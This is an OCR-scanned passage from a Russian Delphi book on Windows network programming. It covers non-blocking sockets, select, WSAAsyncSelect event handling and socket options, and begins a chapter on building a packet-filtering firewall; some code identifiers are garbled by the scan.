4.13. Сокеты в неблокирующем режиме 179 Этот пример еще проще. Просто создаем сокет, заполняем структуру с адресом, и можно отправлять данные на сервер. При создании клиентского сокета (вызове функции socket) отношение к парамет- рам намного «мягче». Это значит, что от вас требуется правильно указать только первые два параметра. Даже если в третьем параметре вы укажете не IPPROTOJJDP, a IPPROTO IP, — ошибки не будет и программа отработает корректно, потому что протокол будет выбран по второму параметру (спецификация), где указан прото- кол без установки соединения. , ПРИМЕЧАНИЕ ---------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch04\UDPCIient. 4.13. Сокеты в неблокирующем режиме При работе в блокирующем режиме, для того чтобы не зависала программа, нуж- но использовать множество потоков. Это неудобно, и драгоценное процессорное время расходуется нерационально. Я применяю блокирующий режим только при программировании сервисов Win- dows NT или других программ, которые не имеют пользовательского интерфейса и невидимы. В этом случае пользователь не будет замечать блокировки и можно упростить себе жизнь. В остальных случаях я использую только неблокирующий режим, который немного сложнее в программировании, но удобен с точки зрения реализации. Неблокирующие (асинхронный) сокеты сложнее в программировании, но лише- ны недостатков блокирующих. В асинхронном режиме программа после вызова сетевой функции продолжает работу, не дожидаясь результата выполнения. Та- ким образом, мы не сможем узнать, как реально отработала функция, зато повы- шается производительность за счет того, что не нужны дополнительные потоки. Вместо «замораживания» программа выполняет полезные действия, достигается параллельность выполнения задач. Чтобы перевести сокет в неблокирующий режим, нужно воспользоваться функ- цией i octi socket, которая описывается следующим образом: function iocti socket( s: TSocket; cmd: DWORD; var arg: u_long ): Integer; stdcall; Рассмотрим параметры функции i octi socket: • s — сокет, режим которого надо изменить; • cmd — команда, которую необходимо выполнить; • arg — параметр для команды.
180 Глава 4. Сетевые приложения Изменение режима блокирования происходит при указании в качестве второго параметра (команды) константы FIONBIO. При этом если третий параметр указы- вает на нулевое значение, то будет использоваться блокирующий режим, в про- тивном случае — неблокирующий. Давайте посмотрим на пример создания сокета и перевода его в неблокирующий режим: var s: TSOCKET; iNode: Integer; begin s : = socket(AFJNET, SOCK_STREAN, 0); iNode := 1; iocti socket(s. FIONBIO. iNode): end; Теперь все функции приема/передачи и соединения с сервером будут завершать- ся ошибкой. Это нормальная реакция, и вы должны это учитывать при создании сетевых приложений, работающих в неблокирующем режиме. Если функция вво- да-вывода вернула ошибку WSAEWOULDBLOCK, это не является показателем неправиль- ной работы функции. Все прошло успешно, просто используется неблокирующий режим. Если же действительно произошел сбой, то мы получим ошибку, отлич- ную от WSAEWOULDBLOCK. В неблокирующем режиме функция recv не будет дожидаться приема данных, а просто возвратит ошибку WSAEWOULDBLOCK. Тогда как нам узнать, когда же дан- ные поступили на порт? Некоторые запускают цикл с постоянным вызовом функции recv, пока она не вернет данные. Но это не очень эффективно, потому что происходит блокирование приложения из-за бесконечного цикла (оно пере- стает реагировать на пользовательский ввод), что еще больше загружает про- цессор, чем блокирующий режим. Конечно же, можно вставить в цикле вызов метода Application.ProcessMessage или убрать все в отдельный поток, но мы те- ряем все преимущества от использования неблокирующего режима. 4.13.1. Проверка готовности сокета через функцию select Одной из первых функций проверки готовности сокета была функция select, ко- торая описывается следующим образом: function select( nfds: Integer; readfds, writefds. exceptfds: PFDSet; timeout: PTimeVal ): Longint; stdcall; Функция возвращает количество готовых к использованию дескрипторов Socket. Теперь рассмотрим параметры этой функции:
4.13. Сокеты в неблокирующем режиме 181 • nfds — игнорируется и служит только для совместимости с моделью сокетов Беркли; • readfds — проверка возможности чтения (структура типа fdset); • wntefds — проверка возможности записи (структура типа fd_set); • exceptfds — проверка срочных данных (структура типа fd set); • timeout — максимальное время ожидания или NULL — для блокирования даль- нейшей работы (ожидать бесконечно). Структура fd_set представляет собой набор сокетов, от которых ожидается разре- шение определенной операции. Например, если вам нужно дождаться прихода данных на один из двух сокетов, то вы можете сделать следующее — добавить в набор fd_set два созданных сокета и запустить функцию select, указав в каче- стве второго параметра набор с сокетами. Функция select будет ожидать данные в течение указанного времени, после чего вы можете прочитать их из сокета. Но данные могут прийти только на один из двух сокетов или вообще не прийти, потому что просто вышло время ожидания Как узнать, на какой именно? Для начала нужно обязательно проверить, входит ли сокет в набор, с помощью функции FD_ISSET. При работе со структурой типа fd_set вам понадобятся следующие функции: • FD_ZERO — прежде чем добавлять в набор новые сокеты, необходимо его очис- тить, чтобы проинициализировать набор. Очистка должна происходить имен- но этой функцией, а не удалением FD_CLR, потому что вторая функция не ини- циализирует набор, а просто удаляет его элементы. Функция имеет один пара- метр — указатель на переменную типа fd_set. • FDSET — помещает сокет в набор. У функции два параметра — сокет, который нужно добавить, и переменная типа fd_set — набор. • FDJ2LR — удаляет сокет из набора. Функция имеет два параметра — сокет и на- бор, из которого будет происходить удаление. • FDISSET — проверяет, входит ли сокет, указанный в качестве первого парамет- ра, в набор типа fd_set, являющийся вторым параметром. 4.13.2. Пример использования функции select Теперь рассмотрим все сказанное на практике. Откройте пример TCPServer, кото- рый мы написали в разделе 4.10 (см. компакт-диск, файл Sources\ch04\TCPServer). Давайте скорректируем пример так, чтобы он работал в неблокирующем режиме. После создания сокета нужно добавить переход в неблокирующий режим. // Переход в неблокирующий режим INode : = 1; 1octlsocket(sServerListen. FIONBIO, IMode): Таким образом, мы перевели сокет в асинхронный режим. Теперь попробуйте за- пустить пример. Сначала вы должны увидеть два сообщение об удачном запуске сервера, после чего программа возвратит ошибку «Accept filed». В асинхронном
182 Глава 4. Сетевые приложения режиме функция accept не блокирует работу программы, а значит, не ожидает со- единения. В этом случае, если в очереди нет ожидающих подключения клиентов, функция вернет ошибку WSAEWOULDBLOCK. Чтобы избавиться от этого недостатка, нужно скорректировать код в цикле ожи- дания соединений. В нашем случае это бесконечный цикл while, который идет после вызова функции listen. Пример цикла для асинхронного варианта приве- ден в листинге 4.9. Листинг 4.9. Цикл обработки входящих сообщений while (true) do begin FD_ZERO(ReadSet); FD_SET(sServerListen. ReadSet); ReadySock := select(0. @ReadSet. nil. nil. nil); if (ReadySock = SOCKETJRROR) then begin MessageBox(0, 'Ошибка функции select’. 'Error'. 0); exit; end; if (FD_ISSET(sServerListen, ReadSet)) then begin iSize ;= sizeof(clientaddr); // Прием нового соединения sClient ;= accept(sServerListen. Oclientaddr. OiSize); if sClient = INVALID-SOCKET then begin TestWi nSockError('accept'); break; end; // Соединение принято, создаем поток si := TCPClientThread.Create(true): si.Sock ;= sClient; si.Resume; end; end; Для работы примера в раздел var используемой процедуры нужно добавить две переменные: ReadSet; TFDSet; ReadySock; Integer; Переменная ReadSet будет применяться для хранения набора сокетов, a ReadySock — для хранения количества готовых к использованию сокетов. Пока у нас только один сокет, поэтому вторую переменную не трогаем. В самом начале цикла обнуляем набор с помощью функции FD_ZERO и добавляем наш серверный сокет, ожидающий подключения. После этого вызывается функ-
4.13. Сокеты в неблокирующем режиме 183 ция select. Для нее задан только второй параметр, а все остальные значения нуле- вые. Если указан второй параметр, то функция ожидает возможности чтения для сокетов из набора сокетов. Последний параметр — это время ожидания; так как в нашем случае установлено нулевое значение, то ожидание бесконечно. Обратите внимание, что мы запускаем функцию для ожидания данных на чтение. Что нам читать из сокета, когда к нам не подключены клиенты? А читать мы бу- дем как раз запрос на подключение. Когда сокет готов к чтению, значит, кто-то прислал запрос на подключение. Этот запрос читать не имеет смысла, а вот при- нять соединение необходимо. При вызове функции select происходит «заморозка» программы и она ожидает подключение. Так в чем же смысл использования неблокирующих сокетов, если блокировка все равно происходит? В данном случае у нас только один сокет и по- этому преимущества не видно. А что, если нужно ждать подключения от клиента на нескольких портах? В блокирующем режиме пришлось бы создавать несколь- ко потоков, и каждый из них работал бы со своим портом. В данном случае мы можем создать еще один сокет, связанный с другим портом, прямо в этом коде, добавить его в набор и потом ожидать с помощью функции select подключения на любой из сокетов (любой порт). И это не единственный пример, когда можно добиться максимальной производи- тельности без блокировок. В книге «Программирование в Delphi глазами хаке- ра» я описывал пример создания самого быстрого сканера портов, и там для по- вышения производительности как раз использовались неблокирующие сокеты. Когда сокет готов к чтению, значит, к нашему серверу хочет подключиться кли- ент. Но прежде чем предпринимать какие-то действия, необходимо проверить вхождение сокета в набор функцией FD_ISSET. Остальной код не изменился. Мы принимаем входящие соединение с помощью функции accept, получаем новый сокет для работы с клиентом и сохраняем его в переменной sClient. После этого создается новый поток, в котором происходит обмен данными с клиентом. Запустите видоизмененный пример и убедитесь, что он работает правильно. Те- перь нет ошибок, и программа корректно ожидает соединения со стороны кли- ента. Возникает вопрос, в каком режиме работает сокет sClient, который создан функ- цией accept для работы с клиентским соединением. Мы знаем, что по умолчанию сокеты работают в блокирующем режиме, и это значение не изменялось. Если в программе клиента убрать отправку данных и отключение от сервера, запустить сервер и подключиться в качестве клиента, то сервер примет соединение и «за- снет». Это говорит о том, что функция recv «заморозит» поток в блокирующем режиме и будет бесконечно ожидать данные. Несмотря на то что основной сокет работает в неблокирующем режиме, сокеты, созданные функцией accept, будут блокирующими. Если вы попытаетесь протестировать этот сервер с помощью программы TCPCIient, написанной ранее (см. компакт-диск, файл Sources\ch04\TCPCIient), то после полу- чения данных произойдет ошибка. Почему? Это связано с тем, что сервер обраба-
184 Глава 4, Сетевые приложения тывает сообщения в цикле, а клиент, отправив команду и получив ответ, закры- вает соединение, и на сервере генерируется ошибка чтения с закрытого сокета. С помощью функции select можно избавится от второго потока, который исполь- зуется для обмена данными между клиентом и сервером. Помимо этого, в нашем новом примере для обработки нескольких клиентов нужно создавать множество потоков. Благодаря функции select можно обойтись без потоков, что значитель- но упростит программу. ПРИМЕЧАНИЕ ---------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sou rces\chO4\Select. 4.13.3. События Windows Вот мы и подошли к наиболее эффективному (на мой взгляд) способу использо- вания сокетов для событий Windows. Намного удобнее обмениваться данными между клиентом и сервером с использованием событий, как это происходит во всех компонентах Delphi. Мы просто должны создать сервер и какую-нибудь про- цедуру, которая будет вызываться в ответ на события, генерируемые сетевой под- системой. События для сетевых функций реализуются достаточно легко, и для этого нам нужно познакомиться с функцией WSAAsyncSelect. Она требует от системы генера- ции сообщений Windows для сетевых событий. Функция описывается следую- щим образом: function WSAAsyncSelect( s: TSocket; HWindow: HWND; wMsg: u_int; 1 Event; Longint ): Integer; stdcall; Рассмотрим параметры, которые мы должны передать функции WSAAsyncSelect: • s — сокет, события которого нас интересуют; • HWindow — окно, которому будут посылаться события; • wMsg — системное событие, которое надо генерировать; • 1 Event — какие именно события нас будут интересовать. В этом параметре мож- но указать любое сочетание из следующих значений: О FD READ — есть данные для чтения; О FD WRITE — можно передавать данные; О FD OOB — прибыли срочные данные; О FD ACCEPT — есть запрос на соединение с сервером; О FD CONNECT — произошло соединение с сервером; О FD CLOSE — сокет закрыт.
4.13. Сокеты в неблокирующем режиме 185 Давайте посмотрим, как использовать эту функцию на практике. Создайте новое приложение с одной кнопкой для запуска сервера. По нажатии этой кнопки нуж- но написать код из листинга 4.10. Листинг 4.10. Запуск сервера procedure TForml.bnStartClick(Sender: TObject): var wData: WSADATA: sServerListen: TSOCKET: localaddr: sockaddrjn; IMode: Integer: begin // Загрузка WinSock if WSAStartup(MAKEWORD(1,1). wData) <> 0 then begin MessageBox(0, 'He могу загрузить WinSock'. 'Ошибка', 0): exit: end: // Создание сокета sServerListen := socket(AF_INET. SOCK_STREAM. IPPROTOJP): if sServerListen = INVALID_SOCKET then begin MessageBox(0, 'Ошибка создания сокета'. 'Ошибка'. 0); exit: end: v // Переход в неблокирующий режим iMode := 1: ioctlsocket(sServerListen, FIONBIO. iMode): // Заполнение структуры адреса localaddr.sin_addr.s_addr : = htonl(INADDR_ANY): localaddr.sin_family : = AF_INET; localaddr.sin_port := htons(5050): // Связывание сокета с локальным адресом if bind(sServerListen. localaddr. sizeof(localaddr)) = SOCKET_ERROR then begin TestWinSockError('Bind'): exit: end: // Прослушивание WSAAsyncSelect(sServerListen. Handle. WM_NETMESSAGE. FD_ACCEPT); if TestFuncError(listen(sServerListen. 4). 'Listen') then exit: end:
186 Глава 4. Сетевые приложения Практически весь код нам знаком и отличается от других наших серверов, на- писанных ранее, только тем, что перед вызовом функции listen мы вызываем WSAAsyncSelect, а после этого уже ничего не надо делать. Не нужны дополнитель- ные потоки или ожидания события с помощью select. Все решается намного про- ще. При вызове WSAAsyncSel ect мы указываем следующие параметры: • s — созданный серверный сокет; • hWnd — указатель на текущее окно, чтобы оно получало сообщения; • wMsg — константа WMNETMESSAGE. Сообщение с такой константой будет посылать- ся нашему окну; • 1 Event — нас будет интересовать событие FD_ACCEPT, то есть событие подключе- ния к серверу. Остальные события нас не интересуют, потому что через этот сокет не будет происходить обмена данными. Что это за константа WM NETMESSAGE? В начале модуля, после объявления йодклю- чаемых модулей (раздел uses) запишем ее описание: const WM_NETMESSAGE = WMJJSER+1; Константа WM_NETMESSAGE будет равна значению WMJJSER плюс единица. Что такое WMJJSER? Это число. Все числа меньше этого значения уже могут быть использова- ны для системных сообщений или зарегистрированы для будущего использова- ния Большие значения можно использовать в своих программах, не боясь конф- ликтов с системой. Теперь нам нужна процедура, которая будет «отлавливать» нужное сообщение. В разделе private нашего модуля запишем следующее: private {Private declarations} procedure WM_NetMsg (var M : TMessage): message WM_NETMESSAGE; Здесь объявлена новая процедура, которая является обработчиком события WM- NETMESSAGE. Этого объявления достаточно, чтобы компилятор понял, на события какого типа должна вызываться процедура. Текст процедуры приведен в листин- ге 4.11. Листинг 4.11. Обработчик сетевых событий procedure TForml.WM_NetMsg(var М: TMessage): var Cli entSocket:TSocket: iRet: Integer; sRecvBuff: array CO..255] of char; begin case M.LParam of // Прибыло новое соединение FD_ACCEPT: begin
4.13. Сокеты в неблокирующем режиме 187 Clientsocket := accept(m.wParam, nil, nil); WSAAsyncSelect(C11entSocket, Handle, WMJJSER+1, FD_READ or FD_WRITE or FD_CLOSE); end: // Прибыли данные FD_READ: begin IRet : = recv(m.wParam. sRecvBuff, 1024, 0); If (IRet = SOCKETJRROR) then begin MessageBox(0, 'Ошибка получения данных', 'Внимание!!!', 0); exit; end; sRecvBuff ;= 'Command get - OK': IRet := send(m.wParam, sRecvBuff, 16, 0); If (IRet = SOCKET_ERROR) then begin MessageBox(0, 'Ошибка передачи данных', 'Внимание!!!', 0); exit; end; end: // Готов к отправке FD-WRITE: begin // Здесь вы можете записывать данные end; // Сокет закрыт FD_CLOSE: begin closesocket(m.wParam); end; end; end: В этой процедуре скрыт очень интересный код. В качестве параметра функции передается переменная типа структуры TMessage. В ней нас будут интересовать два параметра: • LParam — тип сетевого события; • wParam — сокет, на котором произошло событие. Благодаря наличию сокета в структуре TMessage одна процедура может обрабаты- вать события от разных сокетов. А это значит, что у нас может быть множество клиентов одновременно, и все они будут обрабатываться в одном месте и одним и тем же кодом.
188 Глава 4, Сетевые приложения Код процедуры — это один большой case, в котором параметр M.LParam сравнива- ется с константами событий. Когда к нашему серверу подключается клиент, этот параметр становится равным FD ACCEPT. В этом случае выполняется следующий код: Clientsocket :== accept(m.wParam, nil, nil); WSAAsyncSelect(Clientsocket, Handle, WMJJSER+1, FD_READ or FD_WRITE or FD_CLOSE); В первой строке мы принимаем входящее соединение. В качестве первого пара- метра функции accept указан m.wParam. Мы уже говорили, что в этом параметре хранится сокет, на котором произошло событие, и в данном случае это серверный сокет. В результате выполнения функции accept образуется сокет для связи с клиен- том. Тут же запрашиваем у сис гемы разрешения отсылать нам события Windows и от сокета WSAAsyncSel ect. Событие будет то же самое, и во время выполнения не возникнет конфликтов, потому что для связи с клиентом нам нужны другие сообщения — чтение, запись и закрытие сокета. В примере мы будем использо- вать только чтение и закрытие. Сохранять сокет в какой-то глобальной переменной не имеет смысла, потому что весь код для связи с клиентом будет находиться только в процедуре обработки сетевых сообщений WM_NetMsg. В ней нужный сокет всегда можно получить с по- мощью m.wParam. Это очень удобно, потому что не нужны дополнительные пере- менные или массивы. Когда сокет готов к чтению (процедура получила сообщение FD_READ), мы читаем сетевые данные с сокета и передаем их уже знакомым нам способом. В данном случае никаких изменений нет. Во всех предыдущих наших примерах мы не закрывали сокеты. Эта операция очень проста — по событию FD_CLOSE выполняется код closesocket(m.wParam). ПРИМЕЧАНИЕ ----------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch04\Events. 4.13.4. Когда и что использовать? Когда мне нужно написать простейшую утилиту с однопользовательским подклю- чением, то я использую простые сокеты с блокировкой. В этом случае код полу- чается компактным, и все находится в одном месте. Таким образом, легко тести- ровать и отлаживать пример. Когда нужно тестирование чего-либо, например сканера портов или просто тест сервера с точки зрения многопользовательской системы, то я использую select. Эту технологию в реальных проектах применять неудобно из-за наличия блоки- ровки после вызова функции select.
4.14. Опции сокета 189 При многопользовательском подключении наиболее эффективными являются со- бытия Windows. Простые средства управления соединениями с клиентами объяв- ляются в одной процедуре, что обеспечивает максимальную производительность без блокирования вызова сетевых функций. Еще одним фактором, влияющим на ваш выбор, является время работы с клиен- том. Если клиент обменивается с сервером короткими сообщениями, то выгодно использовать события. Потоки в данном случае не применяются, потому что они требуют лишних затрат на системные ресурсы и усложняют управление входя- щими соединениями. Если же клиенту поступают большие запросы (передача файлов), то события те- ряют преимущества, потому что пока один пользователь «скачивает» файл, все остальные будут находиться в ожидании. В данном случае необходимы потоки, которые позволят распараллелить выполнение задач и несколько клиентов смо- гут копировать файлы одновременно. От того, как правильно вы выберете нужную технологию, зависит качество и ско- рость вашей будущей программы. Заранее рассчитайте приблизительную нагруз- ку на сервер и продолжительность сеанса связи, а также учтите возможность пе- редачи больших объемов информации. 4.14. Опции сокета Сейчас мы рассмотрим две наиболее интересные функции, с помощью которых можно управлять опциями проекта. Первая — getsockopt — возвращает опции со- кета, а вторая — setsockopt — устанавливает параметры. Функция getsockopt опи- сывается следующим образом: function getsockopt( s: TSocket: level, optname: Integer: optval: PChar: var option: Integer ): Integer: stdcall: Функция setsockopt описывается так: function setsockopt( s: TSocket: level. optname: Integer: optval: PChar: option: Integer ): Integer: stdcall: Рассмотрим параметры обеих функций, ведь они одинаковы: • s — сокет, параметры которого надо считать/записать; • level — уровень, который определяет параметр. Здесь можно указывать SOL- SOCKET или IPPROTO-TCP;
190 Глава 4. Сетевые приложения • opt name — имя параметра, значение которого надо изменить. Имена зависят от значения, заданного во втором параметре; • optval — значение параметра, которое надо установить; • optlen — размер устанавливаемого значения. Если в качестве второго параметра установлен уровень SOL_SOCKET, то в третьем параметре можно указать одно из следующих значений: • SO_ACCEPTCONN (тип Boolean) — этот параметр предназначен только для чтения. Если он равен true, то сокет находится в режиме прослушивания порта. • SO_BROADCAST (тип Boolean) — если указать true, то сокет сконфигурирован для отправки или приема широковещательных пакетов. Широковещание позво- ляет отправлять пакеты всем компьютерам сети. Этот параметр допустим для протоколов без установки соединения (нельзя использовать с SOCK STREAM). Старайтесь не применять широковещание в своих проектах без особой необ- ходимости, потому что множество таких пакетов могут перегрузить сеть. При- мер использования широковещания приведен в разделе 5.7. • SO_CONNECT_TIME (тип Integer) — позволяет определить время соединения. Этот параметр предназначен только для чтения, потому что время соединения из- менить вручную нельзя. • SO-DONTLINGER (тип Boolean) — если установить в false, то при закрытии сокета все данные, находящиеся в очереди на отправку или прием, будут корректно обработаны. Если этот параметр установить в true, то через определенное вре- мя сокет закроется без обработки данных из очереди. • SO_DONTROUTE (тип Boolean) — если равен true, то пакет будет отправлен непо- средственно на сетевой интерфейс получателя, без обработки таблицы марш- рутизации. • SO-EXCLUSIVEADDRUSE (тип Boolean) — если равен true, то ни одно другое прило- жение не сможет использовать выбранный вами порт на локальной машине. Именно это значение используется по умолчанию. Если параметр установить в false, то порт не блокируется и может быть открыт другшм процессом. При этом системе сложно будет определить, какое из двух приложений должно получить данные, пришедшие на порт. Я не рекомендую использовать этот параметр, потому что программа может работать непредсказуемым образом и не получать нужные данные. • SO-LINGER (тип — структура типа linger) — определяет время ожидания обра- ботки очереди сообщений после закрытия сокета. Если в течение этого време- ни не все данные будут отработаны, сокет все равно закроется • SO_MAX_MSG_SIZE (тип integer) — этот параметр можно только прочитать и уз- нать, какой максимальный размер имеет сообщение. Имеются в виду сообще- ния пакетов без установки соединения, потому что при установленном соеди- нении можно отправить пакет любой длины, и он будет корректно разбит по частям и доставлен без ошибок.
4.15. Заключение 191 • SO_RECVBUF (тип integer) — с помощью этого параметра можно определить или задать размер буфера приема. • SO_SNDBUF (тип integer) — с помощью этого параметра можно узнать или изме- нить размер буфера отправки. • SO_REUSEADDR (тип Boolean) — если установлен в true, то можно создать сокет только с таким адресом, который уже используется другим сокетом. Как мы уже говорили, нежелательно использовать сокеты, участвующие в других про- цессах. В данном случае параметр применим, если сервер «завис» и заблоки- ровал порт в состоянии TIME_WAIT. Такой сервер не будет принимать новые со- единения, а новый нельзя создать без установки данного параметра. • SO-SNDTIMEO (тип Integer) — можно определить и изменить время ожидания для отправки в блокирующем режиме. • SO-RCVTIMEO (тип Integer) — можно определить и изменить время ожидания для получения данных в блокирующем режиме. Это основные и самые интересные параметры уровня SOL_SOCKET. В TCP/IP нас будет интересовать еще один уровень IPPROTO TCP, в котором можно установить параметр TCP_NODELAY. Заголовок пакета TCP составляет 20 байтов. Если отправлять по сети пакеты по 1 байту и при этом к каждому из них будет прикрепляться заголовок в 20 байтов, то это будет слишком расточительно. По умолчанию сокет накапливает данные и старается отправлять пакеты более полными, для оптимизации трафика. Это хорошо, но когда нужно отправлять ма- ленькие пакеты, возникнут неоправданные задержки, и в этом случае неплохо было бы установить параметр TCP_NODELAY в true. В следующей главе, когда будем рассматривать прокси-сервер для НТТР-прото- кола, мы увидим пример использования TCP_NODELAY и его преимущества. 4.15. Заключение Программирование сетевых приложений не так уж и сложно, поэтому использо- вание готовых компонентов в данном случае не всегда оправданно. Все компо- ненты, которые я видел, обладают множеством недостатков, и они не универсаль- ны, в отличие от других компонентов Delphi. Как показывает мой опыт, наиболее сложным в сетевом программировании явля- ется отладка. Очень сложно отследить, почему не работает функция или почему получатель видит не те данные, что ему отправляли. В данном случае вам необхо- димо установить программу «сниффер», которая будет анализировать сетевой трафик и показывать вам, какие данные были отправлены или получены на ком- пьютере пользователя. Таким образом вы сможете определить, что и в каком виде на самом деле передается по сети. При отправке данных по сети чаще всего возникают проблемы с определением размера отправляемых данных. Если к строке должны добавляться символы не-
192 Глава 4. Сетевые приложения ревода каретки, начинающие программисты забывают добавить 2 байта к разме- ру отправляемых данных. Внимательно следите за этим! В следующей главе мы будем рассматривать такие примеры. Обратите внимание, как в SMTP-клиенте на Windows API подготавливается строка для отправки. С помощью этого метода вы никогда не ошибетесь в размере отправляемых данных. Ошибки размера данных достаточно просто определить с помощью того же «сниф- фера», если не передаются читаемые символы. Перевод строки — это нечитаемые символы #13 и #10, поэтому их чаще всего и упускают из виду.
Глава 5 Сетевая практика В этой главе мы рассмотрим несколько интересных примеров сетевых приложе- ний. Теоретические знания, которые мы получили в предыдущей главе, позволят читать код сетевых программ и понимать их. Теперь нужно научиться применять полученные знания на практике. Помимо этого, нам предстоит познакомиться с некоторыми дополнительными сетевыми библиотеками, которых в Windows достаточно много. Вначале мы по- знакомимся с пакетной фильтрацией, которая входит в сервис удаленного досту- па, и узнаем, как написать свой собственный сетевой экран (Firewall). Я постарался подобрать наиболее интересные примеры сетевых приложений и учел замечания и вопросы читателей на форуме сайта www.vr-online.ru. Если пос- ле прочтения этой книги у вас будут пожелания для будущих изданий, прошу ос- тавлять их на форуме вышеуказанного сайта. 5.1. Сетевой экран В наше время, когда буквально на каждом углу подстерегают опасности, приходит- ся защищать свой компьютер со всех сторон. Сразу после установки QC мы ставим антивирусы, сетевые экраны. Я не буду рассуждать о том, какой йз сетевых экранов лучше, но самый удобный — это тот, что создан собственными руками. Что такое Firewall? Эта программная или аппаратная защита компьютера от ата- ки по сети Мы будем рассматривать программную реализацию защиты и увидим, как она работает. Программный сетевой экран — это правила, по которым можно пропускать или не пропускать определенные пакеты через сетевую карту, модем или другое устрой- ство связи. Как же это происходит? Все очень просто, только для начала надо 7 Зак 308
194 Глава 5, Сетевая практика вспомнить сетевую модель OSI (это семь заповедей для любого хакера и програм- миста сетевых приложений). На рис. 5.1 слева показаны четыре уровня из модели Microsoft, а справа — семь справочных уровней. Уровень приложения Уровень транспорта Межсетевой уровень Уровень сетевого интерфейса Секреты Windows NetBIOS NetBIOS на основе TCP/IP Интерфейс TDI UDP TCP ICMP ARP IP IGMP RARP Интерфейс NDIS Ethernet FDDI Драйверы сетевых карт PPP Трансляция кадров Сетевые карты Уровень приложения Уровень представления Уровень сеанса Уровень транспорта Уровень сети Канальный уровень Физический уровень Рис. 5.1. Сетевая модель OSI Каждый пакет при отправке формируется на уровне приложения и опускается до уровня сетевого интерфейса. При этом каждый уровень добавляет к пакету свой заголовок. На приемнике происходит обратный процесс, и пакет поднима- ется до уровня приложения (от сетевой карты до программы). Если пытаться реализовывать защиту на уровне приложения, то каждая программа должна будет иметь свой Firewall, и нет гарантии, что хакер не взломает такую «сте- ну». Защищать каждую программу по отдельности сложно и неудобно. Смысл се- тевого экрана состоит в том, чтобы программа даже не видела запрещенные пакеты или «злые» компьютеры хакеров. Схема поступления пакета на компьютер представлена на рис. 5.2. Рис. 5.2. Получение пакета
5.1. Сетевой экран 195 Изначально все пакеты идут вместе и только потом распределяются между при- ложениями в зависимости от порта. Лучшая защита от атаки из сети реализуется до разбора пакетов и направления их определенной программе. Именно до этого момента мы должны проанализировать данные и в случае, если они соответству- ют правилам, дать возможность программе распознать пакет. Когда же правила запрещают получение данных от какого-то IP или на определенный порт, то не должно быть никакой дальнейшей обработки пакета, отправителем которого яв- ляется запрещенный IP или порт назначения. Если осуществить проверку после разбора (на уровне приложения), то от такой защиты не будет никакой пользы. В Windows 9х для программиста не имелось возможностей для работы ниже уров- ня приложений. Из-за этого приходилось прилагать много усилий, чтобы напи- сать «снифферы» или сетевые экраны. Но, начиная с Windows 2000, появились отличные функции для создания правил, по которым можно запретить доступ к компьютеру с определенным адресом (группой адресов) или на отдельный порт своей машины. Необходимые функции спрятаны в сервисе маршрутизации и удаленного досту- па, где есть целый раздел Packet Filtering (фильтрация пакетов). Те, кто владеет английскийским языком, могут почитать про фильтрацию на сайте Microsoft: http://msdn. microsoft.com/libra ry/default.asp?url= /libra ry/en-us/rras/rras/packet_filtering_reference.asp Информации здесь не очень много, но можно найти что-то полезное и интересное. Фильтрация пакетов позволяет программистам создавать и управлять фильтра- ми входящих и исходящих пакетов. Каждый сетевой интерфейс может быть свя- зан с одним или более фильтрами. Программирование фильтрации пакетов включает в себя следующие три этапа: 1. Создание нового интерфейса, который будет использоваться для добавления или удаления фильтров к адаптеру. В данном случае слово «интерфейс» отно- сится к фильтрам и не связано с сетевым интерфейсом. 2. Установление правил интерфейса, по которым будет контролироваться доступ. 3. Связывание интерфейса с IP-адресом. Данные этапы реализуются с помощью трех функций. Я только еще раз обращаю ваше внимание на то, что данный сервис появился в Windows, начиная с вер- сии 2000. До этого функций не было, и описываемый далее пример (см. лис- тинг 5.1) работать не будет, а может только сгенерировать ошибку. 5.1.1. Функции фильтрации пакетов Для создания интерфейса используется функция PfCreatelnterface, которая опи- сывается следующим образом: function PfCreateInterface( dwName: DWORD;
196 Глава 5. Сетевая практика inAction; PFFORWARD_ACTION; outAction: PFFORWARD_ACTION; bUseLog: BOOL; bMustBeUmque: BOOL; var pplnterface: INTERFACE-HANDLE): DWORD; stdcall; external IPHLPAPI name ,_PfCreateInterface@24'; Рассмотрим параметры функции PfCreatelnterface; • dwName — это имя интерфейса. Если указать 0, то будет создан новый уникаль- ный интерфейс; • inAction — действие по умолчанию для входящего пакета. Запись PF_ACTION-FOR- WARD означает, что пакет, не имеющий правил, будет принят, a PF_ACTION_DROP — пакет будет удален. Для серверов сетевой экран должен быть настроен так, что- бы все, что не разрешено, было запрещено и по умолчанию удалялось; • outAction — действия по умолчанию для выходящего пакета. Здесь значения те же, что и для параметра inAction, только доступ к исходящим пакетам мож- но по умолчанию разрешить; • bUseLog — если параметр имеет значение true, то к интерфейсу будет привязан журнал, по которому легко определяется активность; • bMustBellnique — если параметр имеет значение true, то интерфейс уникальный и его правила не могут разделяться с другими; \ • pplnterface — указатель на созданный интерфейс. Через этот параметр мы по- лучим результат выполнения функции. к Если функция отработала нормально, то результатом будет NO_ERROR. После создания интерфейса можно добавлять правила, устанавливающие запрет или разрешение на использование определенных портов или на подключение с определенных адресов. Функция PfAddFiltersToInterface служит для этих целей и описывается следующим образом: function PfAddFi1tersToInterface( ih: INTERFACE-HANDLE; clnFiIters: DWORD; pfiltln: PPF_FILTER_DESCRIPTOR; cOutFiIters: DWORD; pfiltOut: PPF_FILTER_DESCRIPTOR: pfHandle: PFILTER_HANDLE ): DWORD; stdcall; external IPHLPAPI name ’_PfAddFiltersToInterface@24’; Функция PfAddFiltersToInterface имеет такие параметры: • i h — указатель на интерфейс фильтров, созданной с помощью функции PfCrea - telnterface; • clnFilters — количество входных правил, описанных в параметре pfiltln; • pfiltln — указатель на структуру, содержащую входные правила; • cOutFiIters — количество выходных правил, описанных в параметре pfiltOut;
